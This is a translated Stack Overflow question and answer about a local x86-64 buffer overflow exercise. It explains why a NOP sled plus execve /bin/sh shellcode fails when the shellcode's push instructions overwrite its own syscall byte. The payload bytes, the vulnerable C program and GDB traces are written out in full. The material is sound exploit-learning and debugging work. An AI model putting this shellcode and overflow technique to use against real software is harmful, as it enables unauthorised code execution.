【问题标题】:Why does the amount of NOPs seem to impact whether shellcode is executed successfully?为什么 NOP 的数量似乎会影响 shellcode 是否成功执行?
【发布时间】:2018-09-11 11:25:04
【问题描述】:

我正在学习缓冲区溢出(仅用于教育目的),并且在使用 NOP 滑动技术来执行 shellcode 时,出现了一些关于为什么有时不执行 shellcode 的问题。

我编译了以下代码(使用 Ubuntu 18.04.1 LTS (x86_64),gcc 7.3.0.,禁用 ASLR)

#include <stdio.h>
#include <string.h>

void function (char *args)
{
    char   buff[64];
    printf ("%p\n", buff);
    strcpy (buff, args);
}

int main (int argc, char *argv[])
{
    function (argv[1]);
}

如下:gcc -g -o main main.c -fno-stack-protector -z execstack。 然后我唤起了gdb mainb 9

run `perl -e '{ print "\x90"x15; \
                print "\x48\x31\xc0\xb0\x3b\x48\x31\xd2\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe3\x08\x48\xc1\xeb\x08\x53\x48\x89\xe7\x4d\x31\xd2\x41\x52\x57\x48\x89\xe6\x0f\x05"; \
                print "\x90"x8; \
                print "A"x8; \
                print "\xb0\xd8\xff\xff\xff\x7f" }'`

上面的字符串由NOPs + shellcode + NOPs + bytes to override the saved frame pointer + bytes to override the return address组成。我根据printf 行的输出选择了返回地址。 (注意:明确地说,上面的十六进制代码在 x86_x64 中打开了一个 shell)。

从下面的输出可以看出,缓冲区按预期溢出了。

(gdb) x/80bx buff
0x7fffffffd8b0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd8b8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x48
0x7fffffffd8c0: 0x31    0xc0    0xb0    0x3b    0x48    0x31    0xd2    0x48
0x7fffffffd8c8: 0xbb    0x2f    0x62    0x69    0x6e    0x2f    0x73    0x68
0x7fffffffd8d0: 0x11    0x48    0xc1    0xe3    0x08    0x48    0xc1    0xeb
0x7fffffffd8d8: 0x08    0x53    0x48    0x89    0xe7    0x4d    0x31    0xd2
0x7fffffffd8e0: 0x41    0x52    0x57    0x48    0x89    0xe6    0x0f    0x05
0x7fffffffd8e8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd8f0: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7fffffffd8f8: 0xb0    0xd8    0xff    0xff    0xff    0x7f    0x00    0x00

(gdb) info frame 0
 [...]
 rip = 0x5555555546c1 in function (main.c:9); saved rip = 0x7fffffffd8b0
 [...]
 Saved registers:
  rbp at 0x7fffffffd8f0, rip at 0x7fffffffd8f8

从这里继续确实会打开 shell。但是,当我使用以下作为参数时(唯一的区别是我将 \x90"x15 替换为 \x90"x16\x90"x8 替换为 \x90"x7

run `perl -e '{ print "\x90"x16; \
                print "\x48\x31\xc0\xb0\x3b\x48\x31\xd2\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe3\x08\x48\xc1\xeb\x08\x53\x48\x89\xe7\x4d\x31\xd2\x41\x52\x57\x48\x89\xe6\x0f\x05"; \
                print "\x90"x7; \
                print "A"x8; \
                print "\xb0\xd8\xff\xff\xff\x7f" }'` 

我明白了

(gdb) x/80bx buff
0x7fffffffd8b0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd8b8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd8c0: 0x48    0x31    0xc0    0xb0    0x3b    0x48    0x31    0xd2
0x7fffffffd8c8: 0x48    0xbb    0x2f    0x62    0x69    0x6e    0x2f    0x73
0x7fffffffd8d0: 0x68    0x11    0x48    0xc1    0xe3    0x08    0x48    0xc1
0x7fffffffd8d8: 0xeb    0x08    0x53    0x48    0x89    0xe7    0x4d    0x31
0x7fffffffd8e0: 0xd2    0x41    0x52    0x57    0x48    0x89    0xe6    0x0f
0x7fffffffd8e8: 0x05    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd8f0: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7fffffffd8f8: 0xb0    0xd8    0xff    0xff    0xff    0x7f    0x00    0x00

(gdb) info frame 0
 [...]
 rip = 0x5555555546c1 in function (main.c:9); saved rip = 0x7fffffffd8b0
 [...]
 Saved registers:
  rbp at 0x7fffffffd8f0, rip at 0x7fffffffd8f8

这对我来说看起来不错(与上面相同,除了反映参数的变化),但是当我这次继续时,我得到了

Program received signal SIGILL, Illegal instruction.
0x00007fffffffd8ea in ?? ()

并且没有打开任何外壳。

  • 非法指令发生在第二个 NOP 块中。 shellcode 位于 NOP 块之前。返回地址好像被覆盖成功了,为什么shellcode没有执行呢?
  • 为什么第一个示例有效,而第二个无效,唯一的区别是在 shellcode 之前删除了一个 NOP,并在 shellcode 之后插入了一个 NOP?

编辑: 我添加了shellcode的反汇编:

0000000000400078 <_start>:
  400078:   48 31 c0                xor    %rax,%rax
  40007b:   b0 3b                   mov    $0x3b,%al
  40007d:   48 31 d2                xor    %rdx,%rdx
  400080:   48 bb 2f 62 69 6e 2f    movabs $0x1168732f6e69622f,%rbx
  400087:   73 68 11 
  40008a:   48 c1 e3 08             shl    $0x8,%rbx
  40008e:   48 c1 eb 08             shr    $0x8,%rbx
  400092:   53                      push   %rbx
  400093:   48 89 e7                mov    %rsp,%rdi
  400096:   4d 31 d2                xor    %r10,%r10
  400099:   41 52                   push   %r10
  40009b:   57                      push   %rdi
  40009c:   48 89 e6                mov    %rsp,%rsi
  40009f:   0f 05                   syscall

【问题讨论】:

  • 我没有反汇编你的 shellcode 正在做什么,但显然它会覆盖自己。这是我能想到的使用以前为NOP 的代码获得SIGILL 的唯一方法。当因信号停止时重新检查当前指令。您可能会发现它不再是NOP。向后工作以找出覆盖它的内容。
  • 我添加了反汇编。感谢您的建议,我将研究 gdb 是如何做到这一点的。
  • 为什么这个问题被否决了?
  • 它使用了几个push 指令。由于您的代码在堆栈上,它很可能会覆盖自己。正如我所说,检查故障指令信号到达之后,看看它是否被覆盖。
  • @Jester 谢谢,你是对的!参考您的提示,我将发布我的调查作为答案。

标签: linux assembly x86-64 buffer-overflow shellcode


【解决方案1】:

关于我的第二个示例,Jester 猜测 shellcode 的 push 操作会覆盖 shell 代码远端的指令是正确的:

通过设置set disassemble-next-line on 接收SIGILL 后检查当前指令并重复第二个示例产生

Program received signal SIGILL, Illegal instruction.
0x00007fffffffd8ea in ?? ()
=> 0x00007fffffffd8ea:  ff  (bad)

之前位于此地址的 NOP (90) 已被 ff 覆盖。

这是怎么发生的?再次重复第二个示例并另外设置b 8。此时,缓冲区还没有溢出。

(gdb) info frame 0
[...]
Saved registers:
  rbp at 0x7fffffffd8f0, rip at 0x7fffffffd8f8

0x7fffffffd8f8 开始的字节包含离开function 函数后将返回的地址。然后,这个0x7fffffffd8f8 地址也将是堆栈将再次继续增长的地址(在那里,将存储前 8 个字节)。事实上,继续使用 gdb 并使用 si 命令表明,在 shellcode 的第一条 push 指令之前,堆栈指针指向 0x7fffffffd900

(gdb) si
0x00007fffffffd8da in ?? ()
=> 0x00007fffffffd8da:  53      push   %rbx
(gdb) x/8x $sp
0x7fffffffd900: 0xf8    0xd9    0xff    0xff    0xff    0x7f    0x00    0x00 

...当push指令执行时,字节存储在地址0x7fffffffd8f8

(gdb) si
0x00007fffffffd8db in ?? ()
=> 0x00007fffffffd8db:  48 89 e7        mov    %rsp,%rdi
(gdb) x/8bx $sp
0x7fffffffd8f8: 0x2f    0x62    0x69    0x6e    0x2f    0x73    0x68    0x00

继续下去,可以看到在shellcode的最后一条push指令之后,push的内容被压入堆栈的地址0x7fffffffd8e8

0x00007fffffffd8e3 in ?? ()
=> 0x00007fffffffd8e3:  57      push   %rdi
0x00007fffffffd8e4 in ?? ()
=> 0x00007fffffffd8e4:  48 89 e6        mov    %rsp,%rsi
(gdb) x/8bx $sp
0x7fffffffd8e8: 0xf8    0xd8    0xff    0xff    0xff    0x7f    0x00    0x00

但是,这也是存储syscall 指令的最后一个字节的位置(参见第二个示例问题中的x/80bx buff 输出)。因此,系统调用和 shellcode 无法成功执行。这在第一个示例中不会发生,因为从那时起,推入堆栈的字节一直增长到 shellcode 的末尾(不覆盖它的一个字节):8 个 NOP 的 8 个字节("\x90"x8)+ 8 个字节的保存的基指针 + 8 个字节作为返回地址,为 3 个push 操作提供了足够的空间。

【讨论】:

  • GDB 有 layout asmlayout reg TUI 模式,显示反汇编“窗口”。当它不同步时,您有时需要按 control-L 来重绘,但它非常适合查看您单步执行的 asm。 (请参阅stackoverflow.com/tags/x86/info 的底部以获取 GDB 提示。)IDK 它如何处理自修改代码(无论是否偶然)。我不知道 GDB 有 disassemble-next-line,这很酷 :)
  • 术语:覆盖覆盖更具描述性和准确性。
  • 感谢您将我指向 layout asmlayout reg。这真的很有帮助,然后 Control-L + 按下向下键也会更新自修改代码的窗口!
  • 对我来说,您的示例非常有效。但是shellcode所在的地址不是printf的地址。检查 printf 之后的堆栈,您将看到 shellcode(带有 nops)在哪里。
猜你喜欢
  • 2012-03-20
  • 2018-07-17
  • 2020-11-26
  • 2015-05-05
  • 2021-06-10
  • 1970-01-01
  • 2016-08-27
  • 2013-08-12
  • 1970-01-01
相关资源
最近更新 更多